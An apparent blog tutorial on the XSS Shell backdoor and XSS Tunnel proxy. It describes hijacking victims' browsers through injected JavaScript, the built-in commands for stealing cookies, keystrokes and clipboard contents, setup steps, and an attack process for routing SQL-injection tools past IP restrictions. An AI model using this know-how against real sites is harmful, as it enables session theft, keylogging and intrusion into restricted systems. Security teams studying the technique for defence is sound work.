<p>XSS Tunnel is the standard HTTP proxy that sits on an attacker’s system. Any tool that is configured to use it will tunnel its traffic through the active XSS Channel on the XSS Shell server. The XSS Tunnel converts the request and responds transparently to validate the HTTP responses and XSS Shell requests.
XSS Tunnel is written in .NET and requires .NET Framework to work. It is a GPL Licensed open source application.</p>
<p><img src="http://1.bp.blogspot.com/-MO45XRKpfmM/UkZGJ1BGKTI/AAAAAAAAA48/kFCqtnTJzn0/s400/xsstunnel.jpg" alt="xss tunneling" class="image--center mx-auto" /></p>
<p>What is an XSS Tunnelling?</p>
<p>XSS Tunnelling is the tunneling of HTTP traffic through an XSS Channel to use
virtually any application that supports HTTP proxies.</p>
<p>What is an XSS Channel?</p>
<p>An XSS Channel is an interactive communication channel between two systems that is opened by an XSS attack. At a technical level, it is a type of AJAX application that can obtain commands, send responses back, and is able to talk cross-domain.
The XSS Shell is a tool that can be used to set up an XSS Channel between a Slave and an attacker so that an attacker to control a Slave’s browser by sending it commands. This communication is bi-directional.</p>
<p>To get the XSS Shell to work an attacker needs to inject the XSS Shell’s JavaScript reference by way of an XSS attack. The attacker is then able to control the Slave’s browser. After this point, the attacker can see requests, and responses and is able to instruct the Slave’s browser to carry out requests, etc.
A sample injection attack is shown below;</p>
<pre><code>http:<span class="hljs-comment">//example.com/q="&gt;</span>
</code></pre><p>XSS Shell</p>
<p>XSS Shell is a powerful XSS backdoor and XSS zombie manager. This concept was first presented by "XSS-Proxy – http://xss-proxy.sourceforge.net/". Normally during XSS attacks, an attacker has one shot, however, an XSS Shell can be used interactively to send requests and receive responses from a Slave, it is also possible to backdoor the page and keep the connection open between the attacker and the Slave.</p>
<p>It is a good way of bypassing the following protections:</p>
<ul>
<li>Bypassing IP Restrictions</li>
<li>NTLM / Basic Auth or any similar authentication</li>
<li>Session-based custom protections.</li>
</ul>
<h2 id="heading-how-does-xss-shell-work">How Does XSS Shell Work?</h2>
<p><img src="http://2.bp.blogspot.com/-XFJwirUnTXA/UkZGUTfn5gI/AAAAAAAAA5E/G4xYKHRV-6M/s640/howxssworks.jpg" alt="xss tunneling" class="image--center mx-auto" /></p>
<p>The XSS Shell is an application that has three main parts.</p>
<p>Firstly, the server-side part of the XSS Shell coordinates the XSS Shell between an attacker and the Slave. It is a server-side application and requires an ASP and IIS
web server. It uses an MS Access database as storage.</p>
<p>The second part of the tool is client-side and written in JavaScript. This loads in the Slave’s browser and is responsible for the receiving and processing of commands together with providing the channel between the Slave and the attacker. </p>
<p>The final part of the XSS Shell is the administration interface. An attacker can send new commands and receive the responses from a Slave(s) browser instantly from this interface. Again it is ASP and requires IIS.</p>
<p><img src="http://4.bp.blogspot.com/-p30OrvbrjEo/UkZGidnJDoI/AAAAAAAAA5M/lo3RGa2CsQA/s640/xssshell.jpg" alt="xss tunneling" class="image--center mx-auto" /></p>
<p>All of the following steps do not wait for each other and are constantly checking for responses and requests within specified time delays.</p>
<ol>
<li>An attacker infects a website with a persistent or reflected (temporary) XSS attack which calls remote XSS Shell JavaScript.</li>
<li>The Slave follows or visits the page and executes the JavaScript within that domain.</li>
<li>The Slave’s browser begins to perform periodic requests to the XSS Shell Server and looks for new commands.</li>
<li>When the Slave browser receives a new command such as (Get Cookies, Execute custom JavaScript, Get Key logger Data, etc.) it is processed and returns the results to the XSS Shell.</li>
<li>The Attacker can push new commands to the Slave(s) browser and view the results from the XSS Shell administration interface.</li>
</ol>
<p>Points of Interest</p>
<p>· XSS Shell communication relies on remote JavaScript loading in order to bypass the same-origin policy
· In the first execution, XSS Shell re-generates the page. Thus even if the Slave follows; XSS Shell will remain on the page and therefore, allows the attacker to keep control of the Slave’s browser. As soon as the Slave obtains that window (even if the Slave follows a to another website) the Slave’s session will be open and the browser will follow an attacker’s commands.
· It is open source and is quite easy to implement new commands such as port scanning.
· XSS Shell is especially dangerous in permanent XSS vulnerabilities. Due the fact that an attacker can easily infect hundreds of browsers and manage them simultaneously.</p>
<p>Built-in Commands:</p>
<p>o Get Cookie
o Get Current Page
o Execute custom Javascript
o Get Mouse Log
o Get Keylogger Data
o Get Clipboard
o Get an Internal IP Address (Firefox - JVM)
o Check visited (CSS history hack)
o Crash Browser (if you don’t like your Slave!)</p>
<p>Key Feature:</p>
<ul>
<li>Regenerating Pages: this is one of the keys and advanced features of XSS Shell. XSS Shell re-renders the infected page and keeps the user in a virtual environment. Thus even when a user clicks on any of the infected pages they will be still under control! (within cross-domain restrictions) In normal XSS attacks when the user leaves the page nothing can be done. Secondly, this feature keeps the session open so even the victims follow an outside from the infected page session which is not going to timeout and the attacker will be still in charge.
-Keylogger. {As Said Above in Shell Commands}
-Mouse Logger (click points + current DOM).{As Said Above in Shell Commands}</li>
</ul>
<p>Install</p>
<ol>
<li>Download the Attachment, XSS Shell was written in ASP. As the backend, it uses MS Access for portability and easy installation. It requires IIS 5 or above to work.</li>
</ol>
<p>To Install The Admin Interface;</p>
<ol>
<li>Copy the "xssshell" folder into the web server</li>
<li>Modify the hard-coded password in db.asp [default password is: w00t]</li>
<li>Access the admin interface from something like:
http://[YOURHOST]/xssshell/admin/</li>
<li>Setup permissions for the database folder (write/read access for IUSR_wink</li>
</ol>
<p>To Configure The XSS Shell For Communication;</p>
<ol>
<li>Open xssshell.asp</li>
<li>Set the "SERVER" variable to the location of XSSShell folder, i.e: "http://[YOURHOST]/xssshell/";</li>
</ol>
<p>You should now be able to open the admin interface from your browser http://[YOURHOST]/xssshell/admin/.
Testing should be possible by modifying the "sample_victim/default.asp" source code and replacing the "http://[YOURHOST]/xssshell/xssshell.asp" URL with a specific (i.e your own) XSS Shell URL. Open the "sample_victim" folder in another browser and may then be uploaded to another server.</p>
<p>Now a zombie in the admin interface should be visible. Write something into the "parameters" text area and click "alert()". An alert message should appear in the Slave's browser.
Security &amp; Extra Configuration:-</p>
<ol>
<li>Copy "DB" to a secure place (below root)</li>
<li>Configure "database path" from "xssshell/db.asp" (it's recommended to not enable parent paths and use the full path for DB path)</li>
<li>Configure your web server to not show any errors.</li>
</ol>
<p>If file names are changed;
Be sure to check the "ME", "CONNECTOR", and "COMMANDS_URL" variables in xssshell.asp.</p>
<p>HOW CAN YOU EXTEND?</p>
<p>First, implement the new functionality to xssshell.asp</p>
<ol>
<li><p>Add new enum for your control</p>
</li>
<li><p>Set a name and unique number like "CMD_GETCOOKIE"</p>
</li>
</ol>
<pre><code><span class="hljs-keyword">var</span> CMD_SAMPLE = <span class="hljs-number">78</span>;
</code></pre><ul>
<li>Set datatype for your response (generally TEXT),<pre><code>dataTypes[CMD_SAMPLE] = TEXT;
</code></pre></li>
<li>Write the function and add it to the page<pre><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">cmdSample</span>(<span class="hljs-params"></span>)</span>{<span class="hljs-keyword">return</span> <span class="hljs-string">"yeah working !"</span>}
</code></pre></li>
<li>Call it</li>
<li>Go inside to "function processGivenCommand(cmd)"</li>
<li>Add a new case such as<pre><code><span class="hljs-string">"case CMD_SAMPLE:"</span>
</code></pre></li>
<li>Report it back</li>
<li>Inside the case call log;</li>
</ul>
<pre><code><span class="hljs-string">"log(cmdSample(), dataTypes[cmd.cmd], cmd.attackID, "</span>waitAndRun()<span class="hljs-string">");"</span>
</code></pre><p>Secondly, Implement it in the admin interface;</p>
<ol>
<li>In db.asp just add a new element to the "Commands" array (command name, command unique number, description).
Code:
i.e. "cmdSample()",78,"Command sample ! which just returns a message"</li>
</ol>
<p>There are parameters and lots of helpers in the code. Investigate other commands for reference.
Enable the debug feature in order to debug the new commands easily. Debug has several levels, which can be increased in number to get more detailed debug information.</p>
<p>Known Bugs :-</p>
<ul>
<li>Keylogger is not working on IE</li>
<li>Not working on Konqueror(a freeware browser for Linux.)</li>
</ul>
<p>Why Is It Better Than The Classic</p>
<p> XSS Attacks?</p>
<p>· An attacker would have more than one shot. After controlling a Slave(s) browser the attacker is able to decide their next move based on responses and
the current environment.
· It enables you to bypass the following;
o IP Restrictions,
o Basic/NTLM Auth Based or similar authentications.
· As it is the intention to send alert(“0wned!”) to thousands of victims and build a temporary XSS powered botnet!</p>
<p>Why Tunnel HTTP Traffic Through An</p>
<h3 id="heading-xss-channel">XSS Channel?</h3>
<p>An XSS vulnerability is exploited and the admin session is eventually obtained and it turns out that the admin pages are IP restricted. It does not matter because by using an XSS Shell it is possible to bypass this restriction. However, a Blind SQL Injection is then found in the admin part of the page; it is well known that it is quite impossible to exploit a Blind SQL Injection manually.
It is now possible to write a Blind SQL Injector into JavaScript or to configure a favorite SQL Injection tool using the XSS Tunnel and tunnel all of the traffic through previous XSS Channels and exploit it easily.</p>
<p>Benefits Of XSS Tunnelling</p>
<p>· It enables the use of virtually any tools that support HTTP Proxies!
· It is possible to use automated tools such as Nikto, SQL Injectors, HTTP brute forcer
against an IP restricted areas of the website,
· It allows the configuration of your local browser to use the XSS Tunnel and
browse the website with a Slave’s credentials from your own browser and it
does not involve the use of any kind of complicated cookie / IP / user agent
based checks,
· It is very good for demonstrating the result of an XSS attack.</p>
<p><img src="http://1.bp.blogspot.com/-MZP6zLpwd0c/UkZG1HWg-nI/AAAAAAAAA5U/mp4N0o_cW5o/s640/benefitsofxss.jpg" alt="xss tunneling" class="image--center mx-auto" /></p>
<h3 id="heading-how-does-xss-tunnel-work">How Does XSS Tunnel Work?</h3>
<ol>
<li><p>The XSS Tunnel connects to a specified XSS Shell and obtains the current
active identifier (the Slave to be controlled)</p>
</li>
<li><p>The local HTTP client (browser, Nikto, etc.) sends HTTP requests to the XSS Tunnel:</p>
</li>
<li><p>The XSS Tunnel converts the HTTP requests into requests which the</p>
</li>
<li>XSS Shell can understand and process. It then sends these requests to</li>
<li>the XSS Shell Server.</li>
<li><p>The XSS Shell Server saves this request to its database (All these requests only work for a specified Slave by the XSS Tunnel. This ID can be seen in the dashboard of the XSS Tunnel).</p>
</li>
<li><p>The XSS Shell Client (which resides in JavaScript in the Slave’s browser)
performs periodic requests for the XSS Shell Server and checks for new
commands to process.</p>
</li>
</ol>
<p>This process requires cross-domain reading. The XSS Shell uses remote JavaScript loading to bypass the same-origin policy restrictions.</p>
<p>If there are new commands, it loads them and processes and sends the responses (this can be simply a confirmation code or source code of a page or a binary file) to the XSS Shell server. Commands and responses run in a multithreaded fashion.</p>
<ol>
<li>XSS Tunnel in the local cache, checks the XSS Shell Server for a response for previously assigned requests. If there is a response it converts the response to a valid HTTP response and sends it to the client application.</li>
</ol>
<p>By default, the XSS Tunnel caches JavaScript, CSS, and image files for better performance. This is really required if using the XSS Tunnel with a browser. If requested the resource is already in the cached XSS Tunnel and can be obtained from the local cache and sent to the client application.</p>
<p>Caching can be disabled or the cache can be managed from the user interface
of XSS Tunnel.</p>
<p>An Attack Process.</p>
<ol>
<li>Setup the XSS Shell Server,</li>
<li>Configure the XSS Tunnel to use the XSS Shell Server,</li>
<li>Prepare the XSS attack (submit to a vulnerable website etc.),</li>
<li>Launch the XSS Tunnel and wait for a Slave,</li>
<li>Configure the tool or browser to use the XSS Tunnel,</li>
<li>When you see Slave in the XSS Tunnel, start to use your browser/tool
for the targeted domain.</li>
</ol>
]]></content:encoded></item></channel></rss>